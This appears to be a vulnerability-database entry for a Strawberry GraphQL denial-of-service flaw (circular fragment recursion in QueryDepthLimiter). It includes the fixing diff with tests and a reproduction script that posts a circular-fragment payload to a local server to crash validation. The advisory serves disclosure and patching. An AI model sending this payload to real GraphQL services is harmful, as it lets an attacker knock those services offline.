CVE-2026-47706
Description
Strawberry GraphQL is a library for creating GraphQL APIs. In versions 0.71.0 through 0.315.6, the QueryDepthLimiter extension is vulnerable to an Application-level DOS due to a lack of cycle detection in fragment spreads. When a query contains circular fragment references the determine_depth function enters an infinite recursion, leading to a RecursionError and crashing the validation process. Version 0.315.7 patches the issue.
Affected products
2Patches
1a69221fb0b86fix fragment issues (#4421)
6 files changed · +138 −9
.github/workflows/release.yml+0 −1 modified@@ -75,4 +75,3 @@ jobs: env: TYPEFULLY_API_KEY: ${{ secrets.TYPEFULLY_API_KEY }} TYPEFULLY_SOCIAL_SET_ID: ${{ secrets.TYPEFULLY_SOCIAL_SET_ID }} -
RELEASE.md+12 −0 added@@ -0,0 +1,12 @@ +--- +release type: patch +--- + +This release fixes validation of fragment spreads in `QueryDepthLimiter` and +`MaxAliasesLimiter`. + +`QueryDepthLimiter` now tracks visited fragments while calculating operation depth, +preventing circular fragment references from causing unbounded recursion. + +`MaxAliasesLimiter` now expands fragment spreads when counting aliases, so aliases +declared inside fragments are counted each time the fragment is used.
strawberry/extensions/max_aliases.py+35 −5 modified@@ -1,8 +1,12 @@ +from collections.abc import Mapping + from graphql import ( - ExecutableDefinitionNode, FieldNode, + FragmentDefinitionNode, + FragmentSpreadNode, GraphQLError, InlineFragmentNode, + OperationDefinitionNode, ValidationContext, ValidationRule, ) @@ -43,13 +47,18 @@ def create_validator(max_alias_count: int) -> type[ValidationRule]: class MaxAliasesValidator(ValidationRule): def __init__(self, validation_context: ValidationContext) -> None: document = validation_context.document + fragments = { + definition.name.value: definition + for definition in document.definitions + if isinstance(definition, FragmentDefinitionNode) + } def_that_can_contain_alias = ( def_ for def_ in document.definitions - if isinstance(def_, (ExecutableDefinitionNode)) + if isinstance(def_, OperationDefinitionNode) ) total_aliases = sum( - count_fields_with_alias(def_node) + count_fields_with_alias(def_node, fragments) for def_node in def_that_can_contain_alias ) if total_aliases > max_alias_count: @@ -62,11 +71,21 @@ def __init__(self, validation_context: ValidationContext) -> None: def count_fields_with_alias( - selection_set_owner: ExecutableDefinitionNode | FieldNode | InlineFragmentNode, + selection_set_owner: ( + OperationDefinitionNode + | FragmentDefinitionNode + | FieldNode + | InlineFragmentNode + ), + fragments: Mapping[str, FragmentDefinitionNode] | None = None, + visited_fragments: frozenset[str] | None = None, ) -> int: if selection_set_owner.selection_set is None: return 0 + if visited_fragments is None: + visited_fragments = frozenset() + result = 0 for selection in selection_set_owner.selection_set.selections: @@ -76,7 +95,18 @@ def count_fields_with_alias( isinstance(selection, (FieldNode, InlineFragmentNode)) and selection.selection_set ): - result += count_fields_with_alias(selection) + result += count_fields_with_alias(selection, fragments, visited_fragments) + if isinstance(selection, FragmentSpreadNode) and fragments: + fragment_name = selection.name.value + fragment = fragments.get(fragment_name) + if fragment is None or fragment_name in visited_fragments: + continue + + result += count_fields_with_alias( + fragment, + fragments, + visited_fragments | {fragment_name}, + ) return result
strawberry/extensions/query_depth_limiter.py+12 −1 modified@@ -223,7 +223,11 @@ def determine_depth( context: ValidationContext, operation_name: str, should_ignore: ShouldIgnoreType | None, + visited_fragments: frozenset[str] | None = None, ) -> int: + if visited_fragments is None: + visited_fragments = frozenset() + if depth_so_far > max_depth: context.report_error( GraphQLError( @@ -261,18 +265,24 @@ def determine_depth( context=context, operation_name=operation_name, should_ignore=should_ignore, + visited_fragments=visited_fragments, ) for selection in node.selection_set.selections ) if isinstance(node, FragmentSpreadNode): + fragment_name = node.name.value + if fragment_name in visited_fragments: + return 0 + return determine_depth( - node=fragments[node.name.value], + node=fragments[fragment_name], fragments=fragments, depth_so_far=depth_so_far, max_depth=max_depth, context=context, operation_name=operation_name, should_ignore=should_ignore, + visited_fragments=visited_fragments | {fragment_name}, ) if isinstance( node, (InlineFragmentNode, FragmentDefinitionNode, OperationDefinitionNode) @@ -286,6 +296,7 @@ def determine_depth( context=context, operation_name=operation_name, should_ignore=should_ignore, + visited_fragments=visited_fragments, ) for selection in node.selection_set.selections )
tests/schema/extensions/test_max_aliases.py+48 −0 modified@@ -131,6 +131,54 @@ def test_alias_in_fragment(): assert result.errors[0].message == "2 aliases found. Allowed: 1" +def test_repeated_fragment_spreads_count_expanded_aliases(): + query = """ + fragment humanInfo on Human { + email_address: email + full_name: name + } + query read { + matt: user(name: "matt") { + ...humanInfo + } + jane: user(name: "jane") { + ...humanInfo + } + } + """ + + result = _execute_with_max_aliases(query, 4) + + assert result.errors is not None + assert len(result.errors) == 1 + assert result.errors[0].message == "6 aliases found. Allowed: 4" + + +def test_circular_fragment_spreads_do_not_recurse_forever(): + query = """ + fragment A on Human { + email_address: email + ...B + } + fragment B on Human { + ...A + } + query read { + user(name: "matt") { + ...A + } + } + """ + + result = _execute_with_max_aliases(query, 10) + + assert result.errors is not None + assert any( + error.message == "Cannot spread fragment 'A' within itself via 'B'." + for error in result.errors + ) + + def test_2_top_level_1_nested(): query = """{ matt: user(name: "matt") {
tests/schema/extensions/test_query_depth_limiter.py+31 −2 modified@@ -84,7 +84,10 @@ def cat(bio: Biography) -> Cat: def run_query( - query: str, max_depth: int, should_ignore: ShouldIgnoreType = None + query: str, + max_depth: int, + should_ignore: ShouldIgnoreType = None, + include_specified_rules: bool = True, ) -> tuple[list[GraphQLError], dict[str, int] | None]: document = parse(query) @@ -95,11 +98,16 @@ def callback(query_depths): result = query_depths validation_rule = create_validator(max_depth, should_ignore, callback) + rules = ( + (*specified_rules, validation_rule) + if include_specified_rules + else (validation_rule,) + ) errors = validate( schema._schema, document, - rules=(*specified_rules, validation_rule), + rules=rules, ) return errors, result @@ -213,6 +221,27 @@ def test_should_count_with_fragments(): assert result == expected +def test_circular_fragments_do_not_recurse_forever(): + query = """ + fragment A on Human { + ...B + } + fragment B on Human { + ...A + } + query Crash { + user { + ...A + } + } + """ + + errors, result = run_query(query, 10, include_specified_rules=False) + + assert not errors + assert result == {"Crash": 1} + + def test_should_ignore_the_introspection_query(): errors, result = run_query(get_introspection_query(), 10) assert not errors
Vulnerability mechanics
Root cause
"The QueryDepthLimiter extension lacks cycle detection for fragment spreads, leading to infinite recursion."
Attack vector
An attacker can submit a GraphQL query containing circular fragment references, such as Fragment A referencing Fragment B and Fragment B referencing Fragment A. This crafted query is sent to the `/graphql` endpoint. The `determine_depth` function in the `QueryDepthLimiter` extension will enter an infinite recursion when processing these circular references, causing a `RecursionError` and crashing the validation process [ref_id=1].
Affected code
The vulnerability resides in the `determine_depth` function within the `query_depth_limiter.py` file. This function is responsible for calculating the depth of a GraphQL query, including resolving fragment spreads. The lack of visited fragment tracking in this function allows for infinite recursion when circular fragment references are present [ref_id=1].
What the fix does
The patch introduces cycle detection within the `determine_depth` function to prevent infinite recursion. It now maintains a set of visited fragments during the depth calculation. If a fragment is encountered that is already in the visited set, it indicates a circular reference, and the recursion is stopped, thus preventing the denial-of-service condition [patch_id=4798357].
Preconditions
- inputThe server must be running an instance of the application with the `QueryDepthLimiter` extension enabled.
Reproduction
```python import strawberry from fastapi import FastAPI from strawberry.fastapi import GraphQLRouter from strawberry.extensions import QueryDepthLimiter
@strawberry.type class User: name: str = "GONA"
@strawberry.type class Query: @strawberry.field def user(self) -> User: return User()
# Enable depth limiting schema = strawberry.Schema( query=Query, extensions=[QueryDepthLimiter(max_depth=10)] )
app = FastAPI() app.include_router(GraphQLRouter(schema), prefix="/graphql") ```
```python import httpx
# Circular reference: A -> B -> A -> B ... payload = { "query": """ fragment A on User { ...B } fragment B on User { ...A } query Crash { user { ...A } } """ }
try: response = httpx.post("http://127.0.0.1:8000/graphql", json=payload) print(response.json()) except Exception as e: print(f"Server crashed or timed out: {e}") ```
Generated on Jun 4, 2026. Inputs: CWE entries + fix-commit diffs from this CVE's patches. Citations validated against bundle.
References
3News mentions
0No linked articles in our index yet.